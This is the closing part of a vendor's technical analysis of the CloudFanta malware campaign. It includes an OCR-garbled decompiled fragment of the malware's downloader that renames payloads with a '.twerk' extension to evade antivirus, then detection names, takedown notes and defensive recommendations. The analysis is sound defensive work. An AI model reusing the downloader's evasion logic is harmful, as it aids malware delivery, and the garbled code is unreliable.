Object localObject3 = strl + "y4id";

File localFile;

(localFile = new File(strl)).mkdir():

localObject3 new File((String)localObject3);

localObject3 = new FilelWriter(((File)localObject3).getdbsoluteFile());
(localObject3 new BufferedWriter((Writer)localObject3)).write("mn"):;

{ (BufferedWriter)localObject3).close():
if ((localObjectZ = new File((String)localObjectZ)).exists())

{

a(paramdrray0f3tring + “p6d.jpg”, strl + "\\" + (5tring)localObjectl + “.twerk™):;
a(paramdrray0fString + "pg.jpg”, strl + "\\" + (5tring)localObjectl + "tC.twerk™);
a(paramdrray0fString + “s64.jpg”, strl + “\\" + (String)localObjectl + "f£.twerk™):

}

else

{

a(paramdrray0fString + “p32.3pg”, strl + “\\" + (String)localObjectl + ".twerk™);
a(paramdrray0£String + “pg.jpg”, strl + "\\" + (String)localObjectl + "tt.twerk™):
a(paramdrray0f3tring + “s32.3pg”, strl + "\\" + (5tring)localObjectl + "££.twerk™);

}

Figure 26. Javascript version of CloudFanta malware.

All the malware samples we observed in the wild extensively used

SugarSync cloud app for delivering the downloader JAR file and for

downloading the other payloads except for one sample which used

Dropbox cloud app for delivering the downloader JAR file.

The Downloader JAR and Javascript files used simple string

concatenation techniques to the extension “.twerk” and downloaded

samples with different hashes as an attempt to evade anti-virus

detection. However, the functionality of the downloader JAR file and

payloads were similar to the malware sample we analyzed in this blog.



Netskope Detection and
Remediation

Netskope Active Threat Protection detects the downloaded files from
the downloader JAR file as Backdoor.Generckd.3549404,
Backdoor.Generckd.3540808, Backdoor.Generckd.18673650,

Backdoor.Generckd.3542220 and Gen:Variant.Symm.6001 3.

Netskope customers using the Netskope Active Platform can create an
inline policy to effectively block PE files such as exe’s & dlI’s being

downloaded with a “.png” extension delivered from any cloud storage

app as shown in Figure 27.

Figure 27: Block Policy alert generated when a PE file is being

downloaded with png extension.



CloudFanta malware has clearly highlighted the active usage of cloud
storage apps like Sugarsync by the attackers to deliver payloads
capable of stealing email credentials and monitor online banking
activities. We worked with Sugarsync cloud app and the internet
hosting company OVH to take down the respective download URL’s
and the C&C servers. We also continue to closely monitor the

developments of CloudSquirrel and CloudFanta malware campaigns.

General Recommendations

Netskope recommends the following to combat cloud malware and

threats:

Detect and remediate all malware in sanctioned cloud services using
a threat-aware solution like Netskope Introspection.

Detect, protect, and remediate all malware being downloaded from
both sanctioned and unsanctioned cloud services using a threat-
aware solution like the Netskope Active Platform.

Actively track usage of unsanctioned cloud services and enforce DLP
policies to control files and data entering and leaving your corporate
environment.

Create a security policy to block portable executable files with

content type “image/png.”



Regularly back up and turn on versioning for critical content in cloud
services.

Enable “view known file extension” options in Windows and avoid
executing any file with dual extensions unless you are sure they are
benign.

Warn users to avoid opening untrusted attachments regardless of
their extension or file name.

Enable two-factor authentication for email and banking accounts as
a safety measure to prevent attackers from accessing the email
account even if they know the password.

Keep systems and antivirus updated with the latest releases and

patches.

https://www.netskope.com/blog/cloudfanta-malware-campaign-technical-analysis-2/
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